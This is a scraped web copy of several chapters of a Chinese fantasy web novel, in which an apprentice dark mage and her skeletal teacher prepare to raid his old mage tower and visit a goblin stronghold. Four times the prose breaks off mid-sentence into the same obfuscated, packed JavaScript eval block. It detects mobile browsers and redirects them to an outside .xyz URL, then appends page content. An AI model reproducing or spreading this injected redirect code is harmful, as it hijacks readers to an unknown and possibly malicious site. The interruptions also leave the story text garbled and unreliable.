“你应该知道冥河就是魔力的发源之地吧?对于我们生存的这个世界来说,冥河就像是我们与母体相连的脐带,源源不断地传输着魔力来供养这个世界。而几乎所有教派的经典中,都会提到冥河,它是信徒超脱□□,回归神明圣殿最重要的通道。也有人认为这条河带来的是死亡,是亡灵的居所,但……这不正是说明了我们与神明的关系远比我们想象得更紧密么?” 麦亚安修女在自己的两肩虚点两下,她的表情平静而怜悯。 “正义仍在。” “嗯……原来如此!” 麦亚安结束了祷告,立即横眉竖眼地握起拳头。 “你的导师到底在做什么啊?他根本就没有想教你一些正经的东西吧!等下个祭典,我一定要到纪念馆里骂他!!!” “这个、这个就不用了吧!” 平白无故躺枪的布莱多恩:…… 【这些东西我记得都有划重点给你背过吧?试卷也出过十几张了吧?好歹是学了十几年魔法的人,怎么连魔力起源学说的各种流派都分不清楚?】 【那个,那个……】 芭布拉一时有苦说不出,这些理论学说总是有各种各样的学派,A学派的理念是这样,然后B学派又是那种理念,过了一会儿A学派的理念又跟B学派的融合成了新的理念! 然后各个学派里的代表人物各自的观点可能还要打架! 理论什么的,难道不是能用就行吗!就像某些正对着空白页面抓头发的人完全不知道自己的呼吸是如何进行的,可是也不妨碍他健健康康活到九十九啊! 当然,芭布拉是不敢反驳的。 因为布莱多恩是真的可以把人体如何呼吸的原理和过程从头到尾给她讲一遍。 【……算了,这些年你一个人也很难得到更好的教育。】骷髅头很快就说服了自己,魔力起源学说也不是什么重要的东西。 芭布拉内心连连点头,但恶魔的低语从来都不会迟到。 【过几天你先做个简单的测试,我看看你现在的基础,然后再从薄弱的地方补课好了。】 !!! “芭布拉,你怎么一下脸色惨白?” “没、没事,只是想到我居然连这个都忘记了,我真是一个不合格的学徒……呜呜……” 麦亚安大惊失色:“我不是那个意思呀,哎呀,我是说都怪那个黑法师啊!各种头衔说起来那么可怕,结果教人不还是一塌糊涂!” 芭布拉来不及阻止她,果然她耳边又传来一声阴沉沉的低语。 【确实啊,那作业加倍。】 “噫呜呜噫……” 另外两位可靠的大人稍微商量了一下,一致认为冥河大概是被神力和魔力相互排斥的力量吸引来的,所以只要这股力量消失,冥河也会隐去。 离开前珈乐神官还是用神术将这片地区封印起来,这一次满地的树枝仿佛陷入了沉睡,再无反应。 一只白鹊鸟试探地叫了几声,在另外的地方又有几声零星回应。 尽管过程有些曲折,不过总之,村子里的隐患已经被暂时封印住了。 那个芭布拉一直回避的问题终归还是无法逃避地出现在她脑海中最显眼的位置。 “乔纳斯……是不是回来了?” 麦亚安叹气。 短暂的沉默后,她略过了这个话题,主动谈起之前芭布拉和大贤者没有说完的事情。 “之前你们是说找到了那位的法师塔吧?我也想加入。” 虽然说是“你们”,但麦亚安看着的人实际上还是奥兰纳斯。 白法师微微挑眉:“从来没听说教会也有什么至宝被黑法师抢走了?” “我这里有当年为那位修塔的地精记录下来的平面图。” “太好了,修女,欢迎你加入我们的队伍。”奥兰纳斯绽开一个灿烂的笑容,“不过我得先说清楚,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15810485|175212||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 必须要拿走我需要的东西,其他东西的物权都在芭布拉女士手里。” 芭布拉挺直脊背答了声是! 她有些纠结,麦亚安需要的话应该也可以分一点给她吧?但那些东西应该都是老师的……或者她可以求一下老师? 麦亚安摇了摇头。 “只要带上我就可以。” 三人的约定很快达成,约定一周后碰头,奥兰纳斯需要把那个被抓住的学徒带来,于是很快就告辞了。 【老师,你已经被调查得一清二楚了……】 【闭嘴!那群见钱眼开的地精!!】 离开前,修女取下了自己的胸前吊坠,一只用线条勾勒出的天平闪着银色的辉光。 “这是我刚入教的时候,养育我的玛丽安修女送给我的礼物,我一直戴在身上。芭布拉,我可以看到你的彷徨,所以我把它送给你。” 她拨开芭布拉肩上的长发,系上银色的吊坠,小小的天平像只兴奋的小鸟般在芭布拉胸前跳跃。 芭布拉涨红了脸,连连摆手:“这、这个礼物也太贵重了,我不能收!” “没关系,玛丽安修女每年都会送我一个,像这样的吊坠我还有十八个。” “那好像……” 她迟疑了一下,麦亚安趁机跑远了,走出几步还要转身过来向她挥手。 直到看不到她的背影,芭布拉才反应过来自己还呆在原地。她拿起那只小天平,脸上不由得爬上了傻乎乎的笑容。 “在想什么?” 四周无人,骷髅头若无其事地从包里翻了出来,也不知道他用了什么方式,就算没有冒火也能在空中悬浮。 芭布拉想到了乔纳斯,想到了现在还躺着的格瑞娜。明明自己就住在这里,明明身为黑法师,却连附近出现了堕落的魔兽都不知道。 ——她还能留在这里吗? 或者说,就算她留在这里,已经意识到她不同寻常的格瑞娜还会同意她留在这里吗? 也许正义教会并不介意,也许修女和神官还会帮助她掩饰异常。 但她仍然恐惧那个答案。 骷髅头稍微飘低了一点,清了清喉咙(假如他有)。 “……难道,这个吊坠丑到你了?” “才没有!” 对了,她还要去复活老师! 芭布拉忽然想到,既然要复活老师,那她肯定不能一直停留在一个地方的。 “在想,老师你下颌骨这个角度好像很适合绑一个蝴蝶结耶……” “?” 20. 你也长花啊 原本在昨天动乱发生后,镇民们都有些忐忑不安,担心又发生了什么不好的事情。不过在修女苦口婆心地解答和茶余饭后的八卦之后,大家也知道事情已经解决了。 今年已经七十五的老杰克起得很早,先在院子里的树下听了会儿早起鸟儿的歌声,又到隔壁大杰克家把自己调皮可爱的孙子小杰克从床上薅了起来,一脚踹出去,送他去上公学。 满意的老杰克给自己倒了杯麦酒,躺在院子里享受着悠闲的晨光。 今天的约格兰小镇也很和平呢。 结果一阵闹闹嚷嚷的声音打断了他的冥想。 老杰克一拍桌子,气势汹汹地就要去找那个扰人清晨的罪魁祸首理论。 结果他才刚走出自家大门,就听到一个劲爆消息! “什么?!芭布拉的生发药水今天五折了?!等等我,我也要去!” * 芭布拉为了准备和大家的告别礼物忙活了一晚上,准备了整整一手推车的药剂。 占据手推车大部分位置的暖黄色玻璃瓶是在镇上大受欢迎的生发药剂,还有一部分五彩斑斓的瓶子就是芭布拉为熟悉的镇民量身定制的“来自神秘东方的古老秘方”。 “上次的果茶我还没来得及晒……啊那个蜜果,婆婆你到底在哪里摘到的?什么,是院子里突然长出来的小树苗?您就这么摘来吃了吗?!!” “这个是对眼睛很好的药剂!苏娜婶婶你下次别大晚上地缝衣服了……” 趁着芭布拉为热情围住她的镇民讲解药剂效果的时候,忽然一个奇快无比的影子一晃而过,留下了一块金光闪闪的黄金,顺便还带走了手推车上最显眼的一大堆暖黄色药剂。 “快放下啊杰克爷爷,还有很多人没有拿到,你不能全部带走啊——”芭布拉艰难地拉住他的衣角,“就算你给我这么多钱也不行!这个你也拿走!” 大家也发现了这个浑水摸鱼的老头,顿时群情激奋,一股脑地把他的去路围堵得水泄不通。 “老杰克!又是你!上次也是你故意买走了人家小姑娘的一大批药剂!!” “芭布拉不是都说了不能经常用吗?老杰克,敢不敢摘下帽子让我看看,不听劝的人有没有长更多头发呀?” 老杰克颇为自得地摇了摇头:“你觉得我是那种不遵医嘱的人吗?我后来可是问清楚了使用方法才开始用的!” 说完,他很是珍惜地摸了摸自己头上的毛线帽。 “给你们看也不是不可以,就是等会儿你们倒吸凉气的时候一定要对着外面,别刺激到了我心爱的头发。” 顿时人群中充满了快活的空气,就连没怎么睡的芭布拉也忍不住笑了出来。 于是,在众人屏息静气的凝视下,老杰克揭下了头顶的毛线帽。 山腰和山脚虽然稀疏,但总归有一丛丛低矮的灌木坚强地生存。然而随着帽子的离开,大家惊奇地发现,老杰克原本光可鉴人的山顶上,居然顽强地冒出了三根新苗。 这是医学的进步,这是生命的奇迹啊! 说不清是谁开的头,第一声大笑开始后,笑声极快地蔓延到了所有人身上,芭布拉也没能忍住,恐怕唯一能够保持高冷的就只有端坐在车头假装人畜无害装饰品的雪白骷髅。 布莱多恩他笑不出来。 他*的,他头上现在可是寸草不生的人间炼狱啊! * 托老杰克的福,芭布拉觉得自己回到杂货店门口的时候,内心里的害怕和不安似乎都被一场大笑惊走了。 她提了提手里包装得花里胡哨的礼盒,里面放的是她精心调配的安神药剂,还逼着不断呕吐的南瓜小狗给药剂加了一个祝福。 芭布拉想要好好地和她告别。 虚伪的笑容也好,她带着有些卑劣的期待,但又对这样的想法很是失落。 布莱多恩对此的评价是不如再多来几张卷子。他昨晚弄到了几张公学里给没什么基础的小孩子做的试卷,顿时惊为天人,认为自己完美的教育体系终于补上了最后一块拼图。 但是芭布拉听了居然没有泪眼汪汪地抱头呐喊,她还在专心地熬制那一大锅药剂,他不由得感觉到了一种孩子长大了的孤单。 芭布拉深吸一口气,敲了敲门。 “来了——”格瑞娜的声音略带了点沙哑。 大门打开,她看见门口的芭布拉,微微一愣。 “芭布拉,你、你来了!”她往门后让了几步,留出进门的空间,“来来来,快进来。不好意思啊,今天没什么东西可以招待你了,本来我还想应该先上门感谢你的……” 格瑞娜的眼角还是红的,可是看到她的第一反应仍然是感谢她。 很突然地,芭布拉憋不住了。 “呜哇对不起格瑞娜!” 她扑到格瑞娜怀里,内心一片混乱,这几天在她脑海里翻来覆去的话一股脑地都想要从她嘴里跳出来,可是在她的怀里,芭布拉却一句话也说不出来。 “怎、怎么了?啊,刚刚我还听说你今天做了一大堆药剂……等等,你要离开了吗?” 芭布拉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15810486|175212||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没想到她居然一下子就猜中了,准备好的开场白还没有铺垫,她埋下的伏笔就已经被全部揭开。 她只能迟疑地点了点头:“嗯……” 格瑞娜立刻紧张起来,她捧着芭布拉的脸,压低了声音说:“你的身份是秘密吧?我不会说出去的,就算这样你也要走吗?你不会以为我跟那些人一样会觉得……会带来厄运吗!我才不这么想呢!要不是没人教我,我肯定要学!” “不是这个问题,是……是我还有必须要去做的事情。” “……这样啊,”格瑞娜也红了眼眶,“你们都有必须要去做的事情,这样也很好。不像我,我从来都不知道自己想要做什么,总是事到临头才不得不做出选择。” 芭布拉能够感受到她的痛苦,因为她也是。 但她不明白这痛苦从何而来,又应该如何才能摆脱。 “这和你又有什么关系呢?说对不起的应该是我才对。其实,我心里早有预感了。” “上个月,乔纳斯就发现了那个地方。他无意中发现那里的植物长势很好,还有每到雨天就会从树根长出来的蘑菇,味道比我们吃过的任何食物都要来得鲜美。 “我们尝试着移植了一些蘑菇回来,但是移植回来的蘑菇都失去了那种鲜美的味道。那个时候,我就觉得有些不对劲。很多蘑菇都拥有让人沉醉的鲜味,可是从来都没听说过移植之后的蘑菇就会失去那种味道。 “我们争吵过,最后还是妥协了。这种蘑菇哪怕到了城里也能卖出很高的价格,甚至还有贵族的管家找到我们想要长期收购,我们很快就能够定制一个自动喷雾机了。” 格瑞娜惨然一笑。 “那天我发现他直到天黑都没有回来,这才到黑松林去找他,结果却……啊,说到底,还是我们受到蛊惑,起了贪欲,没能察觉到这是魔物的陷阱。” 芭布拉捏住了胸前的吊坠。 那一晚她在山洞里遇到了不仅仅只是魔物,还有一位似乎在沉睡的神明。 “对不起,如果我能早点察觉的话。” “你不用跟我道歉,芭布拉,这都是我的错!” 格瑞娜的语气一下变得激烈,她闭上眼,仿佛这样就能够逃避那些痛苦的回忆。 “他……他的头上长出了花!” 芭布拉吓了一跳:“什么?长出了花?” “那些蓝色的花长得满头都是!”她捂住双眼,“每天晚上我都会用剪刀将它们一朵一朵剪下来,可是到了早晨,乔纳斯的头上又会长出一大串蓝色的花!” 21. 老熟人 芭布拉回去以后,把家里的花都送回了它应该待的地方。 总感觉最近不是很想再看见花了:( 就连身上穿着南瓜壳的庞丁也被芭布拉赶回了契约里,勒令它最近少点出来。 “我可不想看到一个会开花的南瓜!” “我这个南瓜……不会开花啊……”庞丁最后的解释也被塞进了灵界里。 * 处理完庞丁,芭布拉进门看到的第一眼就是一个漂浮在半空中的骷髅头,眼里冒着绿光,在它面前则悬浮这一卷带着老旧气息的牛皮纸。 自从身体有了这样那样的缺憾之后,布莱多恩似乎越来越习惯于分头行动了。 芭布拉放轻脚步,悄悄来到了它身后。 “别躲了我知道你在我身后,你来看看这张设计图……”他的魂火跳动不休,“这好像就是我第一座法师塔的终稿!” 他亲手绘制的设计稿,也是亲自盯着那群贪婪地精修建的唯一一座法师塔。 那个时候他还没有一战成名,地精对于他还没有摆出那副谄媚的嘴脸(虽然摆了谄媚的嘴脸也不妨碍它们给自己留下后门),所以他还得亲力亲为,防止它们偷工减料。 “既然我们即将要前往我的法师塔,无论如何还是要提前做一些准备。”它说,“你也不要老是盯着那些花看了!它不会突然长出眼睛跟你说话的!” “遵命!”芭布拉想也没想就答应了后半句,然后她迟疑地对前半句发表了些许异议,“啊,可是,我们去的是您的法师塔啊,有什么准备比得上它原来的主人呢?” 这句话说得很有水平,超出黑法师对芭布拉的期望了。 但黑法师没让感性压制过自己的理性,他冷冷地提醒她:“就算如此,已经成为黑暗生物了的我也是无法操控原本属于我的法师塔的啊。” “!!!那、那我们……?” “当然需要提前准备一些东西了,我先写一个清单,你核对一下还剩多少存货……” “也不用太担心吧老师,我们不是还有法师塔的平面图吗!有你和平面图在,区区法师塔,岂不是手到擒来!” 布莱多恩下意识冷笑一声:“平面图?比我这个活地图强吗?” 然后他陷入了沉默。 芭布拉在这冷却的氛围中迅速理解了隐藏在空白沉默下的意味。 “老师……你不会是忘记了吧!” 然后她毫不留情地戳破了黑法师脆弱的自尊。 “诶嘿,没关系,我也经常忘记,之后我们再找麦亚安拿平面图看看就好啦!” 戳破之后还试图往里面倒滚烫的热水,尽管热水里可能加了点蜜糖什么的。 可布莱多恩怎么容忍得了这个! 它立刻蹦了起来:“你不懂这代表着什么!” “……在我刚接触黑魔法的时候,为了试验新魔法阵的效果,我在我的脑子里刻了过目不忘的魔法阵。” “脑子?”芭布拉睁大眼睛。 布莱多恩哼哼一笑,眼眶中摇曳的火光也映衬得他整颗骷髅头阴晴不定:“没错,只有像我这种对人体和魔法有着深刻领悟的大魔法师才能做到如此困难的事情!当然,我也得到了最为甜美的成果!” “可是你现在没有脑子。” 骷髅头的笑声戛然而止。 “严格来说,不仅没有脑子,现在您也不算是人类了。” 布莱多恩咬碎一口银牙,咯吱咯吱地忍了:“……你说得对,但问题是我的记忆。谁会连自己家里路线和布置的机关都忘记了!” 眼见芭布拉的手指正缓缓从他身上慢慢回收,即将要对准自己,原本就气势汹汹的骷髅头一下就燃烧了起来! “你不算!!!” “看来在冥河的这些日子也不是对我一点影响都没有,我甚至到现在才意识到自己的记忆遗失了这么多。”它在半空中踱步,“难道冥河对于灵魂的清洗是从最本质的认知开始的吗?嘶……这么看我之前的课题方向似乎有点问题,应该直接假设……” 它下意识地想要拿笔记录下自己的灵感,飘出几米后忽然意识到自己没带手。 “骷髅的身体还是太麻烦了……” 布莱多恩幽幽地看向芭布拉。 芭布拉很清楚,当老师表现得好像很生气的时候,往往并没有真的生气,他只是想要发泄一下内心的情绪。但如果他看上去很平静的时候,才是真的心里有无数个坏主意在打转。 “对、对不起老师!我们还是先想想要做什么准备吧?您刚刚不是说要列一个清单吗?您说,我记!” “清单等会儿再说吧,我突然想起来了一些东西。” “您请说,我洗耳恭听!” “我们先去找一些老熟人……” * 说是要找老熟人,布莱多恩却带着芭布拉走下了地下的小小博物馆。 他忽略过墙边一排排整齐的柜子,努力不让自己去想这里面都放了什么东西。 芭布拉倒是很好奇:“老师,什么老熟人啊?需要在不见天日的地下才能见吗?” “啊,也差不多。” 布莱多恩用魂火在地上烫了一个颇为复杂的图案出来,仔细看上去似乎像是很久远的文字,但芭布拉并不认识,只能看出似乎是用来联络的密文。 “这个就是他们的信标,你来联络他们。” 信标在现在已经很少有魔法师会使用了,基本上只有一些长生种还需要借助灵界中永恒环 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15810487|175212||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 游的信风来做路标,毕竟物质世界中的路标都很容易消失变换,可能上次路过这里还是一个村落,下一次来就变成了一片汪洋大海。 芭布拉点点头,依照着布莱多恩给的信标很快又画了一个出来,她稍微注入了一些魔力,将这枚新构建出来的信标点亮。 魔力完全覆盖信标的那一刻,现世与灵界的通道被打通,它拉扯着一缕信风涌入现世。 然而预想中的回应并没有传来,只有呼呼的风声。 “咦?老师,这个信标没有画错吗?好像……好像没有回应?” “不,不是没有回应。”布莱多恩冷静地告诉她,“是无法使用,这个信标对应的联系点已经不存在了,只剩下被绑定的这阵信风。” “嗯?信标……信标不是那种,哪怕持有人死去多年,他的后代仍然能够使用的联系方式吗?很多小说里都有这样的情节呢,落魄多年的贵族后代无意中发现了先祖与神秘存在的信标,孤注一掷联系之后获得了来自古代的强大魔法,从此扬眉吐气,打脸当初欺辱他的人,最后成为历史上最伟大的大贤者!” 布莱多恩眉头一皱:“你看的什么小说?不许看了!现实中哪有这种好事!” “哦……那这个信标到底是怎么回事啊?这不是老师的老熟人吗?难、难道他出现了什么意外?!” 布莱多恩摇摇头:“这个是地精给我的信标。” 当年布莱多恩修了很多法师塔,作为地精的头号大客户,地精们为他特别制作了一个信标,只要使用信标,就能够找到专门负责与他对接的那个地精。 但现在这个信标却已经无法使用了。 显然,最近刚卖了一份法师塔平面图给正义教会的地精肯定不会出现什么需要举族避难的大事情。排除掉所有可能,剩下来的哪怕在让人难以相信,那也必须是真相。 地精们在他死后,就迫不及待地销毁了这个标记。 速度之快,销毁之彻底,真是让人不由得感慨一句人走茶凉。 “这就是他们对大客户的态度吗!!老师,这太过分了!”芭布拉当即就捏紧了拳头,“我知道他们在附近的据点,之前他们还想来黑松林里开采什么东西……不过我觉得它们每天一大早就挖来挖去的声音太讨厌了,就没有答应。” “不如我们就直接找过去!” “很好,就是这样,”布莱多恩露出了一个孺子可教的微笑,“去把我应该拿回来的东西统统拿回来!” 芭布拉像是受到了鼓励的小豆芽,骄傲地昂起了头。 芭布拉:“桀桀!” “……你在做什么?”布莱多恩摸不着头脑。 “我在模仿老师的笑容!” “谁这么笑了啊!!!” 22. 骨靠衣装 布莱多恩宣布去找地精的第一件事:换衣服。 “?!为、为什么要换衣服啊?” 布莱多恩语气沉重:“因为它们就是那种看菜下碟、看人下套的贪婪的种族。” 你对他们讲诚信,讲人情,它们只会狠狠地利用契约中的漏洞大赚一笔! 你对他们示弱,它们只会狠狠地利用你的弱点,逼你签下极不平等的契约,然后再大赚一笔! 这就是刻在它们灵魂里的性格特点! 布莱多恩召唤来了自己的骨架。 没有头骨的骷髅架子走路起来很是小心翼翼,它一路摸索地走了过来,浑身刚被清洗过的白皙骨头,透露着温润的如玉光泽。除了右边的肋骨缺了两根,脚指头也缺了一个以外,还是一具十分完美的骨架。 勉强能符合布莱多恩的要求。 既然已经是骷髅架子了,那么怎么能不搭配上自己最酷炫的衣服呢! “酷炫啊……” 芭布拉挥了挥魔杖,一件深蓝色的披风从黑暗深处的柜子里飞了出来,披风摇动时还会出现像夜空中闪烁的星辰般的光芒,披风上还装饰了数颗大小不一的红宝石,切割得精妙绝伦,每一个面都能折射出深邃璀璨的光芒。 她抖了抖灰,热情洋溢地向布莱多恩介绍:“老师,这是你跟猩红王国最后一代国王打赌赢来的星辰披风,但是你一直都放在仓库里没有穿过,我一直觉得好可惜呢!” “嘶……”布莱多恩接过来,看着自己满手的闪闪星光,“有没有更让人畏惧一点的?” 芭布拉摸了摸下巴,很快她眼睛一亮:“有的,这个羊角帽子!” 她又挥了挥魔杖,从另外一个角落里又飞出来一件造型很是古朴的骨质冠冕,两侧弯曲的山羊角来自一位不慎翻车的魅魔,制作它的人还在角上铭刻了一个震慑魔法阵,只要直视它就会受到震慑魔法的影响。 “嗯……其实这个叫做夜鸦冠冕……”布莱多恩没找到拒绝的理由,他戴了上去,头顶顿时感觉到了沉重的重量,“感觉还缺了点什么东西,那还有没有比较能够彰显实力的……” 芭布拉一下激动起来:“那可太多了啊老师!!” 她高举魔杖,画了一个大大的圈。黑暗中立即亮起了微弱的银光,诸多光点像是流星雨一般落到了他们面前。 “老师您请看!这个是阿多尼斯之眼,这个好像是不败女王的权杖,还有这个还有这个……” 布莱多恩沉默了,怎么那些年他从各种地方抢、收集来的东西居然都在这个地方。 “——这些,全部都很适合老师哦!” 布莱多恩默默地披上了星辰披风,然后从那一堆里挑了一根镶嵌着火语宝石的权杖和几枚存储着他亲手施展的禁咒的戒指。 在芭布拉的星星眼鼓励下,他很快就摆脱了对这身衣服的怀疑。披风一展,星光闪烁,还有幽蓝的魂火在黑暗中静静燃烧。 至少已经摆脱了骷髅小兵的印象,这看上去起码也得是个拥有地下府邸的亡灵大公! “好耶,太酷了!地精们看到您一定会吓得抱头鼠窜的!” 布莱多恩活动了一下手指,将戒指调整为能够正好卡在骨节中的大小。 “先不着急,我们还有一件事。” 芭布拉疑惑地歪头。 “还有你,你也要换。” “我!?”芭布拉大惊失色,“老师,难道您觉得我这一身不像是黑法师吗!” 幽蓝色的魂火上下打量了她一眼。 “很像,就是那种混得很惨口袋里没有半个子的黑法师。” 口袋里确实没有半个子的芭布拉捂住嘴努力不哭出声。 “我正好知道一个魔法……” 现在的他想要使用魔法还得费力地从魂火中转换出魔力,虽然难不倒他,但是这样使用魔力就很像是在等待一个运行得十分迟缓的老打字机从一个按键切换到另外一个按键。 布莱多恩原本的时速就可以达到一小时三千字,切换到骷髅身上,就只剩下五百字每小时。 他超级不爽地酝酿了三十秒,权杖上的宝石微微发亮,将经过它的魔力增幅成一大股火红的魔力。使用火语宝石的魔杖能对火系魔法的增幅至少可以达到百分之五十,就算使用其他系别的魔法,也能够带上火系的加成(就算你真的想不开用了个水系魔法……也没关系,只是效果最多差强人意。),可以说是无数火系法师梦寐以求的珍宝。 那些火红的魔力在布莱多恩的操纵下自动分成更细小的魔力细丝,乖巧地相互缠绕,像艳丽的蛇一般爬上芭布拉的肩膀,将她身上原本的丝线一口口吞掉,沿着衣服的形状逐渐往下编织,一件黑红色为主基调的长裙逐渐出现了雏形。 芭布拉左看右看,肩膀上的泡泡袖是一团轻盈的云,再往下,洁白的底色上被火焰烘烤出由浅而深的红色,像是梦幻中的颜色。 而红色裙摆像是一条环绕着她熊熊燃烧的火蛇,摇曳间落下了淡淡的余烬。 芭布拉追着那点余烬转了一个圈,然后就飘出了更多的灰色小点点。 就好像是童话里才会出现的场景一样! 芭布拉提着一角裙边,脸上的表情就只剩下了呆滞。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15810488|175212||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 布莱多恩收回权杖,托腮凝视:“嗯……这样感觉还是太简朴了,不过目前手头没有合适的材料,以后我再帮你改改。“ 等了一会儿,他还没听到熟悉的雀跃声,拍了拍手,戒指在他指骨间丁零当啷作响。 ”好了,可以把你震惊的表情收起来了,换一个更惊喜的。我会服装设计是什么奇怪的事情吗?” 芭布拉提着裙边又转了一圈,灰色的余烬像细雪一样飘落,在半空就会消失,永远不会坠落到地上。 她抬起头,眼里的光像是一堆吃了跳跳糖的星星。 “呜呜,老师,你是我的神啊!!!” * 有人说,只要有钱的地方,就会有地精。钱,或者说是各种各样的珍宝和财富吸引着无数地精聚集,除非前面是一只比他们还要贪婪的巨龙。 就连约格兰镇这种小到不能再小的小镇,也有地精们的据点。 芭布拉数个月之前就在黑松林附近接触过他们,他们当时正在挖掘,已经挖出了一个初具规模的地洞。 本来他们对芭布拉还爱答不理的,但听说她住在附近,而且听说了“这附近还有个正义教会!”之后,立刻换了一幅恭敬的嘴脸,称她为“森林的主人”,请求森林的主人给他们一个容身之所,然后他们就会和她谈一笔大生意。 芭布拉果断拒绝了,但地精们还是在这里待了下来,不过他们几乎都不怎么惹事,所以大家也就相安无事。 她按着记忆带着布莱多恩往那个方向过去,但黑松林已经被封印了起来,她有些担心这些有些胆小的地精会闻风而去。 “大概就是这附近吧?之前是庞丁带我来的,它……噢,我把它塞回去了。”芭布拉环视一圈,“老师你等等,我马上把它召唤出来!” “不用了,”布莱多恩挥手阻止她,“他们已经来了。” 被点破了身份,隐藏在树影后的跟随者也只好解除自己的伪装,走到光下来。 两只地精一前一后地走到他们面前。他们身高较为矮小,只有成年男性的一半,全身皮肤呈现出一种像是苔藓那般的绿色,而耳朵和鼻子又长又尖,在地下,他们就是凭借着敏锐地嗅觉和听觉生活与劳作的。 为首的地精穿着金线编织而成的金缕衣,头上戴着一个小巧精致的王冠,他那对绿豆般的眼睛紧紧盯着身披披风、头戴冠冕的布莱多恩,脸上挂着一种地精特有的灿烂笑容。 “啊,这位……两位,尊贵的客人啊!我今天就预感到了你们的到来,真是蓬荜生辉!” “两位,难道有大生意想跟我们谈么?” 23. 一笔大生意 地精们显然没有认出来这个让他们宁愿毁掉信标也不想再见的人物,他盯着布莱多恩身上的东西开始苍蝇搓手。 毕竟找地精除了谈生意还能谈什么呢?只要钱给够了,跟他们谈恋爱也不是不行。 布莱多恩冷笑:“很大。” 地精更高兴了,又向前走了两步,谦卑地自我介绍道:“尊贵的客人啊,我是安比,他是我的仆从阿培,真高兴见到你们。“先生,小姐,天气炎热,不如我们到我的地宫里再共同商讨啊。” “带路吧。” 布莱多恩动了动他的食指指骨,就当是挥手致意了。地精安比也毫不在意,不死族大多都是这般高傲且冷酷,蒙骗起来也相当容易,最后就算发现自己被骗了也很有可能因为自己的名望而忍气吞声。 双方看彼此都像是在砧板上的鱼肉。 路上,安比明里暗里地试探布莱多恩的来历,都被布莱多恩直接无视了。 他又向看上去好像更容易套话的芭布拉搭话,但早就被叮嘱过的芭布拉只会对他露出意味深长的笑。 哪怕是见钱眼开的地精这时候也不由得心里犯嘀咕,这两怎么感觉不像是谈生意的,反倒像是来寻仇的。 实际上,两人正当着地精的面私下通讯。 【老师,这个地精您认识吗?】 【我也不是什么小角色都认识的!你看他的服饰,估计是刚离开族群,家里也许还支持了一些财富,但不多。】 【!】芭布拉看着地精的服饰点了点头,【那我们能通过他找到你认识的地精嘛?】 布莱多恩点了点头,【地精嘛,抓住一个起码能够联系上他头上的长老。那既然长老都联系上了,还怕联系不上他们的王吗?】 【说不定还能联系上我认识的那个地精王呢,哼哼。】 【难道地精还有很多个王吗?!】 【是的,地精他们其实有很多分支……只要拥有足够多的财富,自然就会有地精追随他。不过如果王在炫富中落败,就只能成为对方手下的长老,协助他管理族群。所以地精王的数量虽然很多,但还是在可以控制的范围里。】 【控制……?】 芭布拉不明所以,但此时他们已经到达了目的地。 昔日她看见的大土堆此时已经颇具规模,成了一座微型的宫殿。 但这也仅仅只是他们修筑的地宫入口,那些精致的雕刻几乎都是装饰。地精对奢华的执著使得他们就算原材料只有随处可见的土和木材,也要让它所居住的地方看上去更华丽。 一旦你走下地宫,那种捉襟见肘的感觉就更突出了。入口处还不怎么明显,但对于地宫内部,地精用了很多手段试图让它看起来更豪华一些,比如不计成本铺在地面上的毛毯,走道上每隔一段距离就摆放着的夜明珠,散发出了柔和的光芒。 但越是努力,就越能够看出来地宫的问题。 就比如走完这条走道,迎面而来的大厅从大小上就显露出了一种小家子气。 布莱多恩入座的时候甚至还要低下头,免得他头上的冠冕打到天花板上的吊灯。 安比赶紧打发仆从去倒茶来,绿豆般的双眼又望向了布莱多恩。 布莱多恩根本不想跟他多费口舌,也不知道骷髅是怎么做出邪魅狂狷的表情,总之他带着一脸我要折服你的表情抬起了他的中指指骨,一枚镶嵌着蓝色宝石的戒指微微发亮,铭刻在宝石上的魔法被触发了。 芭布拉之前翻出来的一大堆“能够彰显实力”的物件一件一件出现,就像是随处可见的物品一样堆放在地精面前,哪怕在夜明珠的光芒下,它们也在不甘示弱地闪烁着顶级奢华的气息。 地精的呼吸一下就变得急促了起来。 